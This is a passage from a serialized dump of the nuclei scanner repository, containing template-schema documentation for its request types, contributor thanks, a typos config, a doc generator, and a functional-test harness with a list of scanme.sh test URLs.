headless request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>user_agent</code>  <i><a href=\"#useragentuseragentholder\">userAgent.UserAgentHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\ndescriptions: |\n \t User-Agent is the type of user-agent to use for the request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>custom_user_agent</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n \t If UserAgent is set to custom, customUserAgent is the custom user-agent to use for the request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>stop-at-first-match</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nStopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>fuzzing</code>  <i>[]<a href=\"#fuzzrule\">fuzz.Rule</a></i>\n\n</div>\n<div class=\"dt\">\n\nFuzzing describes schema to fuzz headless requests\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cookie-reuse</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nCookieReuse is an optional setting that enables cookie reuse\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>disable-cookie</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nDisableCookie is an optional setting that disables cookie reuse\n\n</div>\n\n<hr />\n\n\n\n\n\n## engine.Action\nAction is an action taken by the browser to reach a navigation\n\n Each step that the browser executes is an action. Most navigations\n usually start from the ActionLoadURL event, and further navigations\n are discovered on the found page. We also keep track and only\n scrape new navigation from pages we haven't crawled yet.\n\nAppears in:\n\n\n- <code><a href=\"#headlessrequest\">headless.Request</a>.steps</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>args</code>  <i>map[string]string</i>\n\n</div>\n<div class=\"dt\">\n\nArgs contain arguments for the headless action.\nPer action arguments are described in detail [here](https://nuclei.projectdiscovery.io/templating-guide/protocols/headless/).\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the name assigned to the headless action.\n\nThis can be used to execute code, for instance in browser\nDOM using script action, and get the result in a variable\nwhich can be matched upon by nuclei. An Example template [here](https://github.com/projectdiscovery/nuclei-templates/blob/main/headless/prototype-pollution-check.yaml).\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>description</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nDescription is the optional description of the headless action\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>action</code>  <i><a href=\"#actiontypeholder\">ActionTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAction is the type of the action to perform.\n\n</div>\n\n<hr />\n\n\n\n\n\n## ActionTypeHolder\nActionTypeHolder is used to hold internal type of the action\n\nAppears in:\n\n\n- <code><a href=\"#engineaction\">engine.Action</a>.action</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>ActionType</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>navigate</code>\n\n  - <code>script</code>\n\n  - <code>click</code>\n\n  - <code>rightclick</code>\n\n  - <code>text</code>\n\n  - <code>screenshot</code>\n\n  - <code>time</code>\n\n  - <code>select</code>\n\n  - <code>files</code>\n\n  - <code>waitdom</code>\n\n  - <code>waitfcp</code>\n\n  - <code>waitfmp</code>\n\n  - <code>waitidle</code>\n\n  - <code>waitload</code>\n\n  - <code>waitstable</code>\n\n  - <code>getresource</code>\n\n  - <code>extract</code>\n\n  - <code>setmethod</code>\n\n  - <code>addheader</code>\n\n  - <code>setheader</code>\n\n  - <code>deleteheader</code>\n\n  - <code>setbody</code>\n\n  - <code>waitevent</code>\n\n  - <code>dialog</code>\n\n  - <code>keyboard</code>\n\n  - <code>debug</code>\n\n  - <code>sleep</code>\n\n  - <code>waitvisible</code>\n</div>\n\n<hr />\n\n\n\n\n\n## userAgent.UserAgentHolder\nUserAgentHolder holds a UserAgent type. Required for un/marshalling purposes\n\nAppears in:\n\n\n- <code><a href=\"#headlessrequest\">headless.Request</a>.user_agent</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code></code>  <i>UserAgent</i>\n\n</div>\n<div class=\"dt\">\n\n\n\n\nEnum Values:\n\n\n  - <code>random</code>\n\n  - <code>off</code>\n\n  - <code>default</code>\n\n  - <code>custom</code>\n</div>\n\n<hr />\n\n\n\n\n\n## ssl.Request\nRequest is a request for the SSL protocol\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.ssl</code>\n\n\n\nPart Definitions: \n\n\n- <code>template-id</code> - ID of the template executed\n- <code>template-info</code> - Info Block of the template executed\n- <code>template-path</code> - Path of the template executed\n- <code>host</code> - Host is the input to the template\n- <code>port</code> - Port is the port of the host\n- <code>matched</code> - Matched is the input which was matched upon\n- <code>type</code> - Type is the type of request made\n- <code>timestamp</code> - Timestamp is the time when the request was made\n- <code>response</code> - JSON SSL protocol handshake details\n- <code>cipher</code> - Cipher is the encryption algorithm used\n- <code>domains</code> - Domains are the list of domain names in the certificate\n- <code>fingerprint_hash</code> - Fingerprint hash is the unique identifier of the certificate\n- <code>ip</code> - IP is the IP address of the server\n- <code>issuer_cn</code> - Issuer CN is the common name of the certificate issuer\n- <code>issuer_dn</code> - Issuer DN is the distinguished name of the certificate issuer\n- <code>issuer_org</code> - Issuer organization is the organization of the certificate issuer\n- <code>not_after</code> - Timestamp after which the remote cert expires\n- <code>not_before</code> - Timestamp before which the certificate is not valid\n- <code>probe_status</code> - Probe status indicates if the probe was successful\n- <code>serial</code> - Serial is the serial number of the certificate\n- <code>sni</code> - SNI is the server name indication used in the handshake\n- <code>subject_an</code> - Subject AN is the list of subject alternative names\n- <code>subject_cn</code> - Subject CN is the common name of the certificate subject\n- <code>subject_dn</code> - Subject DN is the distinguished name of the certificate subject\n- <code>subject_org</code> - Subject organization is the organization of the certificate subject\n- <code>tls_connection</code> - TLS connection is the type of TLS connection used\n- <code>tls_version</code> - TLS version is the version of the TLS protocol used\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>address</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nAddress contains address for the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>min_version</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nMinimum tls version - auto if not specified.\n\n\nValid values:\n\n\n  - <code>sslv3</code>\n\n  - <code>tls10</code>\n\n  - <code>tls11</code>\n\n  - <code>tls12</code>\n\n  - <code>tls13</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>max_version</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nMax tls version - auto if not specified.\n\n\nValid values:\n\n\n  - <code>sslv3</code>\n\n  - <code>tls10</code>\n\n  - <code>tls11</code>\n\n  - <code>tls12</code>\n\n  - <code>tls13</code>\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>cipher_suites</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nClient Cipher Suites  - auto if not specified.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>scan_mode</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n   Tls Scan Mode - auto if not specified\n values:\n   - \"ctls\"\n   - \"ztls\"\n   - \"auto\"\n\t - \"openssl\" # reverts to \"auto\" is openssl is not installed\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>tls_version_enum</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nTLS Versions Enum - false if not specified\nEnumerates supported TLS versions\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>tls_cipher_enum</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nTLS Ciphers Enum - false if not specified\nEnumerates supported TLS ciphers\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>tls_cipher_types</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n  TLS Cipher types to enumerate\n values:\n   - \"insecure\" (default)\n   - \"weak\"\n   - \"secure\"\n   - \"all\"\n\n</div>\n\n<hr />\n\n\n\n\n\n## websocket.Request\nRequest is a request for the Websocket protocol\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.websocket</code>\n\n\n\nPart Definitions: \n\n\n- <code>type</code> - Type is the type of request made\n- <code>success</code> - Success specifies whether websocket connection was successful\n- <code>request</code> - Websocket request made to the server\n- <code>response</code> - Websocket response received from the server\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>address</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nAddress contains address for the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>inputs</code>  <i>[]<a href=\"#websocketinput\">websocket.Input</a></i>\n\n</div>\n<div class=\"dt\">\n\nInputs contains inputs for the websocket protocol\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>headers</code>  <i>map[string]string</i>\n\n</div>\n<div class=\"dt\">\n\nHeaders contains headers for the request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nSniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n\n\n\n\n## websocket.Input\n\nAppears in:\n\n\n- <code><a href=\"#websocketrequest\">websocket.Request</a>.inputs</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>data</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nData is the data to send as the input.\n\nIt supports DSL Helper Functions as well as normal expressions.\n\n\n\nExamples:\n\n\n```yaml\ndata: TEST\n```\n\n```yaml\ndata: hex_decode('50494e47')\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>name</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nName is the optional name of the data read to provide matching on.\n\n\n\nExamples:\n\n\n```yaml\nname: prefix\n```\n\n\n</div>\n\n<hr />\n\n\n\n\n\n## whois.Request\nRequest is a request for the WHOIS protocol\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.whois</code>\n\n\n\n\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>query</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nQuery contains query for the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>server</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n \t Optional WHOIS server URL.\n\n \t If present, specifies the WHOIS server to execute the Request on.\n   Otherwise, nil enables bootstrapping\n\n</div>\n\n<hr />\n\n\n\n\n\n## code.Request\nRequest is a request for the SSL protocol\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.code</code>\n\n\n\nPart Definitions: \n\n\n- <code>type</code> - Type is the type of request made\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nID is the optional id of the request\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>engine</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nEngine type\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pre-condition</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nPreCondition is a condition which is evaluated before sending the request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>args</code>  <i>[]string</i>\n\n</div>\n<div class=\"dt\">\n\nEngine Arguments\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pattern</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nPattern preferred for file name\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>source</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nSource File/Snippet\n\n</div>\n\n<hr />\n\n\n\n\n\n## javascript.Request\nRequest is a request for the javascript protocol\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.javascript</code>\n\n\n\nPart Definitions: \n\n\n- <code>type</code> - Type is the type of request made\n- <code>response</code> - Javascript protocol result response\n- <code>host</code> - Host is the input to the template\n- <code>matched</code> - Matched is the input which was matched upon\n\n<hr />\n\n<div class=\"dd\">\n\n<code>id</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\ndescription: |\n ID is request id in that protocol\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>init</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nInit is javascript code to execute after compiling template and before executing it on any target\nThis is helpful for preparing payloads or other setup that maybe required for exploits\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>pre-condition</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nPreCondition is a condition which is evaluated before sending the request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>args</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nArgs contains the arguments to pass to the javascript code.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>code</code>  <i>string</i>\n\n</div>\n<div class=\"dt\">\n\nCode contains code to execute for the javascript request.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>stop-at-first-match</code>  <i>bool</i>\n\n</div>\n<div class=\"dt\">\n\nStopAtFirstMatch stops processing the request at first match.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>attack</code>  <i><a href=\"#generatorsattacktypeholder\">generators.AttackTypeHolder</a></i>\n\n</div>\n<div class=\"dt\">\n\nAttack is the type of payload combinations to perform.\n\nSniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\npermutations and combinations for all payloads.\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>threads</code>  <i>int</i>\n\n</div>\n<div class=\"dt\">\n\nPayload concurrency i.e threads for sending requests.\n\n\n\nExamples:\n\n\n```yaml\n# Send requests using 10 concurrent threads\nthreads: 10\n```\n\n\n</div>\n\n<hr />\n\n<div class=\"dd\">\n\n<code>payloads</code>  <i>map[string]interface{}</i>\n\n</div>\n<div class=\"dt\">\n\nPayloads contains any payloads for the current request.\n\nPayloads support both key-values combinations where a list\nof payloads is provided, or optionally a single file can also\nbe provided as payload which will be read on run-time.\n\n</div>\n\n<hr />\n\n\n\n\n\n## http.SignatureTypeHolder\nSignatureTypeHolder is used to hold internal type of the signature\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.signature</code>\n\n\n\n\n\n\n\n## variables.Variable\nVariable is a key-value pair of strings that can be used\n throughout template.\n\nAppears in:\n\n\n- <code><a href=\"#template\">Template</a>.variables</code>\n\n\n\n\n\n\n"
  },
  {
    "path": "THANKS.md",
    "content": "\n### Thanks\n\nMany people have contributed to **nuclei** making it a wonderful tool either by making a pull request fixing some stuff. Here, we recognize these persons and thank them. \n\n- All the contributors at [CONTRIBUTORS](https://github.com/projectdiscovery/nuclei/graphs/contributors) who made Nuclei what it is.\n\nWe'd like to thank some additional amazing people, who contributed a lot in nuclei's journey - \n\n- [@manuelbua](https://www.github.com/manuelbua) - Multiple feature additions including progress bar. \n- [@dwisiswant0](https://www.github.com/dwisiswant0) - For fixing multiple bugs with HTTP Raw requests. \n- [@toufik-airane](https://www.github.com/toufik-airane) - For adding binary matchers.\n- [@lc](https://www.github.com/lc) - For adding directory support for templates.\n- [@wdahlenburg](https://www.github.com/wdahlenburg) - For adding wildcard globing support to run templates.\n- [@Marmelatze](https://www.github.com/Marmelatze) - For adding support to save matched request/response in JSON format. \n- [@ankh2054](https://www.github.com/ankh2054) - For adding description field for template information.\n- [@rotemreiss](https://www.github.com/rotemreiss) - For adding docker support."
  },
  {
    "path": "_typos.toml",
    "content": "[files]\r\nextend-exclude = [\r\n    # Non-English translations\r\n    \"README_CN.md\",\r\n    \"README_ES.md\",\r\n    \"README_ID.md\",\r\n    \"README_JP.md\",\r\n    \"README_KR.md\",\r\n    \"README_PT-BR.md\",\r\n    \"README_TR.md\",\r\n    # Test fixtures and data files\r\n    \"integration_tests/\",\r\n    \"pkg/input/formats/testdata/\",\r\n    \"pkg/output/stats/waf/\",\r\n    # Deserialization test data\r\n    \"pkg/protocols/common/helpers/deserialization/testdata/\",\r\n    # Certificate/encoded data in test utilities\r\n    \"pkg/testutils/integration.go\",\r\n    # Vendor directory\r\n    \"vendor/\",\r\n    # Go checksum file\r\n    \"go.sum\",\r\n]\r\n\r\n[default.extend-identifiers]\r\n# Go identifiers that cannot be renamed without breaking API\r\nMisMatched = \"MisMatched\"\r\nNoopWriter = \"NoopWriter\"\r\nAllowdTypes = \"AllowdTypes\"\r\n# Deprecated alias kept for backward compatibility\r\nExludedDastTmplStats = \"ExludedDastTmplStats\"\r\n\r\n[default.extend-words]\r\n# Variable name used for flow annotations\r\nfo = \"fo\"\r\n# Serbian test data in XML\r\nalo = \"alo\"\r\n# SQL test data (Spanish)\r\nalgoritmos = \"algoritmos\"\r\n# Base64/hex encoded test data\r\nNoo = \"Noo\"\r\n# Certificate data fragments\r\nba = \"ba\"\r\nnd = \"nd\"\r\n# Base64 encoded test data fragments\r\nIif = \"Iif\"\r\nser = \"ser\"\r\n\r\n[type.go.extend-identifiers]\r\n# Short CLI flag names that appear in help strings\r\not = \"ot\"\r\nue = \"ue\"\r\nine = \"ine\"\r\nines = \"ines\"\r\nhae = \"hae\"\r\n\r\n[type.md.extend-identifiers]\r\n# CLI flag references in documentation\r\not = \"ot\"\r\nue = \"ue\"\r\nine = \"ine\"\r\nines = \"ines\"\r\nhae = \"hae\"\r\n"
  },
  {
    "path": "cmd/docgen/docgen.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"log\"\n\t\"os\"\n\t\"reflect\"\n\t\"regexp\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\nvar pathRegex = regexp.MustCompile(`github\\.com/projectdiscovery/nuclei/v3/(?:internal|pkg)/(?:.*/)?([A-Za-z.]+)`)\n\nfunc writeToFile(filename string, data []byte) {\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create file %s: %s\\n\", filename, err)\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\t_, err = file.Write(data)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not write to file %s: %s\\n\", filename, err)\n\t}\n}\n\nfunc main() {\n\tif len(os.Args) < 3 {\n\t\tlog.Fatalf(\"syntax: %s md-docs-file jsonschema-file\\n\", os.Args[0])\n\t}\n\n\t// Generate YAML documentation\n\tdata, err := templates.GetTemplateDoc().Encode()\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not encode docs: %s\\n\", err)\n\t}\n\twriteToFile(os.Args[1], data)\n\n\t// Generate JSON Schema\n\tr := &jsonschema.Reflector{\n\t\tNamer: func(t reflect.Type) string {\n\t\t\tif t.Kind() == reflect.Slice {\n\t\t\t\treturn \"\"\n\t\t\t}\n\t\t\treturn t.String()\n\t\t},\n\t}\n\n\tjsonschemaData := r.Reflect(&templates.Template{})\n\n\tvar buf bytes.Buffer\n\tencoder := json.NewEncoder(&buf)\n\tencoder.SetIndent(\"\", \"  \")\n\tif err := encoder.Encode(jsonschemaData); err != nil {\n\t\tlog.Fatalf(\"Could not encode JSON schema: %s\\n\", err)\n\t}\n\n\tschema := pathRegex.ReplaceAllString(buf.String(), \"$1\")\n\twriteToFile(os.Args[2], []byte(schema))\n}\n"
  },
  {
    "path": "cmd/functional-test/main.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/kitabisa/go-ci\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar (\n\tsuccess = aurora.Green(\"[✓]\").String()\n\tfailed  = aurora.Red(\"[✘]\").String()\n\n\tmainNucleiBinary = flag.String(\"main\", \"\", \"Main Branch Nuclei Binary\")\n\tdevNucleiBinary  = flag.String(\"dev\", \"\", \"Dev Branch Nuclei Binary\")\n\ttestcases        = flag.String(\"testcases\", \"\", \"Test cases file for nuclei functional tests\")\n)\n\nfunc main() {\n\tflag.Parse()\n\n\tdebug := os.Getenv(\"DEBUG\") == \"true\" || os.Getenv(\"RUNNER_DEBUG\") == \"1\"\n\n\tif err, errored := runFunctionalTests(debug); err != nil {\n\t\tlog.Fatalf(\"Could not run functional tests: %s\\n\", err)\n\t} else if errored {\n\t\tos.Exit(1)\n\t}\n}\n\nfunc runFunctionalTests(debug bool) (error, bool) {\n\tfile, err := os.Open(*testcases)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not open test cases\"), true\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\terrored, failedTestCases := runTestCases(file, debug)\n\n\tif ci.IsCI() {\n\t\tfmt.Println(\"::group::Failed tests with debug\")\n\t\tfor _, failedTestCase := range failedTestCases {\n\t\t\t_ = runTestCase(failedTestCase, true)\n\t\t}\n\t\tfmt.Println(\"::endgroup::\")\n\t}\n\n\treturn nil, errored\n}\n\nfunc runTestCases(file *os.File, debug bool) (bool, []string) {\n\terrored := false\n\tvar failedTestCases []string\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\ttestCase := strings.TrimSpace(scanner.Text())\n\t\tif testCase == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\t// skip comments\n\t\tif strings.HasPrefix(testCase, \"#\") {\n\t\t\tcontinue\n\t\t}\n\t\tif runTestCase(testCase, debug) {\n\t\t\terrored = true\n\t\t\tfailedTestCases = append(failedTestCases, testCase)\n\t\t}\n\t}\n\treturn errored, failedTestCases\n}\n\nfunc runTestCase(testCase string, debug bool) bool {\n\tif err := runIndividualTestCase(testCase, debug); err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"%s Test \\\"%s\\\" failed: %s\\n\", failed, testCase, err)\n\t\treturn true\n\t} else {\n\t\tfmt.Printf(\"%s Test \\\"%s\\\" passed!\\n\", success, testCase)\n\t}\n\treturn false\n}\n\nfunc runIndividualTestCase(testcase string, debug bool) error {\n\tquoted := false\n\n\t// split upon unquoted spaces\n\tparts := strings.FieldsFunc(testcase, func(r rune) bool {\n\t\tif r == '\"' {\n\t\t\tquoted = !quoted\n\t\t}\n\t\treturn !quoted && r == ' '\n\t})\n\n\t// Quoted strings containing spaces are expressions and must have trailing \\\" removed\n\tfor index, part := range parts {\n\t\tif strings.Contains(part, \" \") {\n\t\t\tparts[index] = strings.Trim(part, \"\\\"\")\n\t\t}\n\t}\n\n\tvar finalArgs []string\n\tif len(parts) > 1 {\n\t\tfinalArgs = parts[1:]\n\t}\n\tmainOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*mainNucleiBinary, debug, finalArgs)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not run nuclei main test\")\n\t}\n\tdevOutput, err := testutils.RunNucleiBinaryAndGetLoadedTemplates(*devNucleiBinary, debug, finalArgs)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not run nuclei dev test\")\n\t}\n\tif mainOutput == devOutput {\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"%s main is not equal to %s dev\", mainOutput, devOutput)\n}\n"
  },
  {
    "path": "cmd/functional-test/run.sh",
    "content": "#!/bin/bash\n\nif [ \"${RUNNER_OS}\" == \"Windows\" ]; then\n    EXT=\".exe\"\nelif [ \"${RUNNER_OS}\" == \"macOS\" ]; then\n    if [ \"${CI}\" == \"true\" ]; then\n        sudo sysctl -w kern.maxfiles{,perproc}=524288\n        sudo launchctl limit maxfiles 65536 524288\n    fi\n\n    ORIGINAL_ULIMIT=\"$(ulimit -n)\"\n    ulimit -n 65536 || true\nfi\n\nmkdir -p .nuclei-config/nuclei/\ntouch .nuclei-config/nuclei/.nuclei-ignore\n\necho \"::group::Building functional-test binary\"\ngo build -o \"functional-test${EXT}\"\necho \"::endgroup::\"\n\necho \"::group::Building Nuclei binary from current branch\"\ngo build -o \"nuclei-dev${EXT}\" ../nuclei\necho \"::endgroup::\"\n\necho \"::group::Building latest release of nuclei\"\ngo build -o \"nuclei${EXT}\" -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei\necho \"::endgroup::\"\n\necho \"::group::Installing nuclei templates\"\neval \"./nuclei-dev${EXT} -update-templates\"\necho \"::endgroup::\"\n\necho \"::group::Validating templates\"\neval \"./nuclei-dev${EXT} -validate\"\necho \"::endgroup::\"\n\necho \"Starting Nuclei functional test\"\neval \"./functional-test${EXT} -main ./nuclei${EXT} -dev ./nuclei-dev${EXT} -testcases testcases.txt\"\n\nif [ \"${RUNNER_OS}\" == \"macOS\" ]; then\n    ulimit -n \"${ORIGINAL_ULIMIT}\" || true\nfi\n"
  },
  {
    "path": "cmd/functional-test/targets-1000.txt",
    "content": "https://scanme.sh/?a=1\nhttps://scanme.sh/?a=2\nhttps://scanme.sh/?a=3\nhttps://scanme.sh/?a=4\nhttps://scanme.sh/?a=5\nhttps://scanme.sh/?a=6\nhttps://scanme.sh/?a=7\nhttps://scanme.sh/?a=8\nhttps://scanme.sh/?a=9\nhttps://scanme.sh/?a=10\nhttps://scanme.sh/?a=11\nhttps://scanme.sh/?a=12\nhttps://scanme.sh/?a=13\nhttps://scanme.sh/?a=14\nhttps://scanme.sh/?a=15\nhttps://scanme.sh/?a=16\nhttps://scanme.sh/?a=17\nhttps://scanme.sh/?a=18\nhttps://scanme.sh/?a=19\nhttps://scanme.sh/?a=20\nhttps://scanme.sh/?a=21\nhttps://scanme.sh/?a=22\nhttps://scanme.sh/?a=23\nhttps://scanme.sh/?a=24\nhttps://scanme.sh/?a=25\nhttps://scanme.sh/?a=26\nhttps://scanme.sh/?a=27\nhttps://scanme.sh/?a=28\nhttps://scanme.sh/?a=29\nhttps://scanme.sh/?a=30\nhttps://scanme.sh/?a=31\nhttps://scanme.sh/?a=32\nhttps://scanme.sh/?a=33\nhttps://scanme.sh/?a=34\nhttps://scanme.sh/?a=35\nhttps://scanme.sh/?a=36\nhttps://scanme.sh/?a=37\nhttps://scanme.sh/?a=38\nhttps://scanme.sh/?a=39\nhttps://scanme.sh/?a=40\nhttps://scanme.sh/?a=41\nhttps://scanme.sh/?a=42\nhttps://scanme.sh/?a=43\nhttps://scanme.sh/?a=44\nhttps://scanme.sh/?a=45\nhttps://scanme.sh/?a=46\nhttps://scanme.sh/?a=47\nhttps://scanme.sh/?a=48\nhttps://scanme.sh/?a=49\nhttps://scanme.sh/?a=50\nhttps://scanme.sh/?a=51\nhttps://scanme.sh/?a=52\nhttps://scanme.sh/?a=53\nhttps://scanme.sh/?a=54\nhttps://scanme.sh/?a=55\nhttps://scanme.sh/?a=56\nhttps://scanme.sh/?a=57\nhttps://scanme.sh/?a=58\nhttps://scanme.sh/?a=59\nhttps://scanme.sh/?a=60\nhttps://scanme.sh/?a=61\nhttps://scanme.sh/?a=62\nhttps://scanme.sh/?a=63\nhttps://scanme.sh/?a=64\nhttps://scanme.sh/?a=65\nhttps://scanme.sh/?a=66\nhttps://scanme.sh/?a=67\nhttps://scanme.sh/?a=68\nhttps://scanme.sh/?a=69\nhttps://scanme.sh/?a=70\nhttps://scanme.sh/?a=71\nhttps://scanme.sh/?a=72\nhttps://scanme.sh/?a=73\nhttps://scanme.sh/?a=74\nhttps://scanme.sh/?a=75\nhttps://scanme.sh/?a=76\nhttps://scanme.sh/?a=77\nhttps://scanme.sh/?a=78\nhttps://scanme.sh/?a=79\nhttps://scanme.sh/?a=80\nhttps://scanme.sh/?a=81\nhttps://scanme.sh/?a=82\nhttps://scanme.sh/?a=83\nhttps://scanme.sh/?a=84\nhttps://scanme.sh/?a=85\nhttps://scanme.sh/?a=86\nhttps://scanme.sh/?a=87\nhttps://scanme.sh/?a=88\nhttps://scanme.sh/?a=89\nhttps://scanme.sh/?a=90\nhttps://scanme.sh/?a=91\nhttps://scanme.sh/?a=92\nhttps://scanme.sh/?a=93\nhttps://scanme.sh/?a=94\nhttps://scanme.sh/?a=95\nhttps://scanme.sh/?a=96\nhttps://scanme.sh/?a=97\nhttps://scanme.sh/?a=98\nhttps://scanme.sh/?a=99\nhttps://scanme.sh/?a=100\nhttps://scanme.sh/?a=101\nhttps://scanme.sh/?a=102\nhttps://scanme.sh/?a=103\nhttps://scanme.sh/?a=104\